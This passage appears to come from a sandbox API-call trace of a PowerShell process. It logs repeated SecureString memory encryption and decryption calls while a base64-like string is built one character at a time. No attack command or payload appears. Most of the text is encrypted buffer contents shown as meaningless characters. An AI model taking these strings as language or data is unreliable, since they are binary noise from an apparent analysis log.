(param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ밋Ⴚᠠ慰̋퐞ᔭ⋾) returned 0x28 [0223.678] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ밋Ⴚᠠ慰̋퐞ᔭ⋾) returned 0x30 [0223.678] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0223.678] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0OcH8lYKtBZsᢅ㱱쨧肎꡼座㌮") returned 0x30 [0223.678] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0223.678] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ밋Ⴚᠠ慰̋퐞ᔭ衾瑲愊잝荣浔≇) returned 0x30 [0223.678] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ밋Ⴚᠠ慰̋퐞ᔭ衾瑲愊잝荣浔≇) returned 0x30 [0223.678] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0223.678] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0OcH8lYKtBZsx㱱쨧肎꡼座㌮") returned 0x30 [0223.678] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0223.678] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ밋Ⴚᠠ慰̋퐞ᔭǾ즾ㆈ栄㟌㿴媪驾⊬) returned 0x30 [0223.679] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ밋Ⴚᠠ慰̋퐞ᔭǾ즾ㆈ栄㟌㿴媪驾⊬) returned 0x30 [0223.679] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0223.679] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0OcH8lYKtBZsxE쨧肎꡼座㌮") returned 0x30 [0223.679] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0223.679] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ밋Ⴚᠠ慰̋퐞ᔭ\ᗞ鮢껗剙洞噾鹾") returned 0x30 [0223.679] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ밋Ⴚᠠ慰̋퐞ᔭ\ᗞ鮢껗剙洞噾鹾") returned 0x30 [0223.679] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0223.679] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0OcH8lYKtBZsxE=肎꡼座㌮") returned 0x30 [0223.679] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0223.679] EtwEventActivityIdControl () returned 0x0 [0223.679] EtwEventActivityIdControl () returned 0x0 [0223.679] EtwEventActivityIdControl () returned 0x0 [0223.680] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.680] EtwEventActivityIdControl () returned 0x0 [0223.680] EtwEventActivityIdControl () returned 0x0 [0223.680] EtwEventActivityIdControl () returned 0x0 [0223.681] SysStringLen (param_1="") returned 0x8 [0223.681] SysStringLen (param_1="N") returned 0x8 [0223.681] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.681] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0223.681] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0223.681] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.681] SysStringLen (param_1="ND") returned 0x8 [0223.681] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.682] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0223.682] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0223.682] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.682] SysStringLen (param_1="NDZ") returned 0x8 [0223.682] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.682] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0223.682] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0223.682] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.682] SysStringLen (param_1="NDZl") returned 0x8 [0223.682] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.682] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0223.682] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0223.682] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.682] SysStringLen (param_1="NDZlO") returned 0x8 [0223.683] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.683] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0223.683] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0223.683] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.683] SysStringLen (param_1="NDZlOD") returned 0x8 [0223.683] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.683] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0223.683] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0223.683] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.683] SysStringLen (param_1="NDZlODR") returned 0x8 [0223.683] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.683] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0223.683] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0223.683] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.684] SysStringLen (param_1="NDZlODRm") returned 0x8 [0223.684] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0223.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0223.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0223.684] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0223.684] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.684] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0223.684] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0223.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0223.685] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.685] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0223.685] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0223.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0223.685] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.685] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0223.685] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0223.685] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0223.685] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.686] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0223.686] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0223.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0223.686] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.686] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0223.686] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0223.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0223.686] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.686] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0223.686] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0223.686] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0223.686] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.687] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0223.687] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0223.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0223.687] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.687] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0223.687] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0223.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0223.687] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0223.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0223.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.688] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0223.688] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0223.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0223.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.688] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0223.688] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0223.688] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0223.688] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.689] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0223.689] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0223.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0223.770] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.770] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0223.770] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0223.770] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0223.770] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.771] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0223.771] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0223.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0223.771] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.771] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0223.771] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0223.771] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0223.771] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.771] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0223.771] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0223.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0223.772] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.772] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0223.772] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0223.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0223.772] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0223.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0223.773] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.773] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0223.773] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0223.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0223.773] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.773] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0223.773] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.773] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0223.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0223.774] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.774] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0223.774] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0223.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0223.774] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.774] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0223.774] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0223.774] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0223.774] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.774] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0223.775] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0223.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0223.775] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.775] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0223.775] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0223.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0223.775] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.775] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0223.775] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0223.775] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0223.775] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.776] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0223.776] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0223.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0223.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0223.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0223.776] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.777] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0223.777] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0223.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0223.777] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.777] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0223.777] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0223.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0223.777] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.777] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0223.777] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0223.778] SysStringLen 